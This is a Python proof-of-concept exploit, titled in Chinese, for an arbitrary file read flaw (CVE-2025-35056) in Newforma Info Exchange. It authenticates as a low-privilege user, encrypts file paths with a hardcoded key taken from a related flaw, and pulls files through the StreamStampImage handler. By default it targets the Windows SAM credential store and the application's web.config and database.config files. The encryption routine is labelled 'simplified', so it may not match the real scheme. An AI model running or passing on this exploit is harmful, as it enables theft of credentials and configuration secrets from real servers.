CVE-2025-35056 Newforma NIX任意文件读取漏洞

#!/usr/bin/env python3 # CVE-2025-35056 - Newforma Info Exchange (NIX) Arbitrary File Read PoC # Exploits StreamStampImage in MarkupServices.ashx using hardcoded key from CVE-2025-35052 import requests import base64 from urllib.parse import quote TARGET_URL = "https://target-nix-server" USERNAME = "low_priv_user" PASSWORD = "password123" # Hardcoded secret key extracted from NIX client (CVE-2025-35052) # This key is used to encrypt file paths passed to StreamStampImage HARDCODED_KEY = "NIX_SHARED_SECRET_KEY_HERE" # Replace with actual extracted key def encrypt_path(file_path, key): """Encrypt file path using NIX hardcoded key (simplified XOR-based encryption)""" encrypted = [] for i, char in enumerate(file_path.encode()): encrypted.append(char ^ ord(key[i % len(key)])) return base64.b64encode(bytes(encrypted)).decode() def exploit(target_url, username, password, target_file): session = requests.Session() # Step 1: Authenticate to NIX login_url = f"{target_url}/UserWeb/Account/Login.aspx" login_data = { "ctl00$ContentPlaceHolder1$UsernameTextBox": username, "ctl00$ContentPlaceHolder1$PasswordTextBox": password, "ctl00$ContentPlaceHolder1$LoginButton": "Log In" } resp = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Encrypt target file path encrypted_path = encrypt_path(target_file, HARDCODED_KEY) print(f"[*] Encrypted path for '{target_file}': {encrypted_path}") # Step 3: Request file via StreamStampImage exploit_url = f"{target_url}/UserWeb/Common/MarkupServices.ashx" params = { "method": "StreamStampImage", "filePath": encrypted_path } resp = session.get(exploit_url, params=params, verify=False) print(f"[*] Exploit response: {resp.status_code}, Content-Length: {len(resp.content)}") if resp.status_code == 200 and len(resp.content) > 0: output_file = target_file.replace("\\", "_").replace("/", "_") + ".bin" with open(output_file, "wb") as f: f.write(resp.content) print(f"[+] File saved to: {output_file}") return True return False if __name__ == "__main__": # Example: read Windows SAM file or NIX config target_files = [ "C:\\Windows\\System32\\config\\SAM", "C:\\Program Files\\Newforma\\NIX\\web.config", "C:\\Program Files\\Newforma\\NIX\\App_Data\\database.config" ] for tf in target_files: print(f"\n[*] Attempting to read: {tf}") exploit(TARGET_URL, USERNAME, PASSWORD, tf)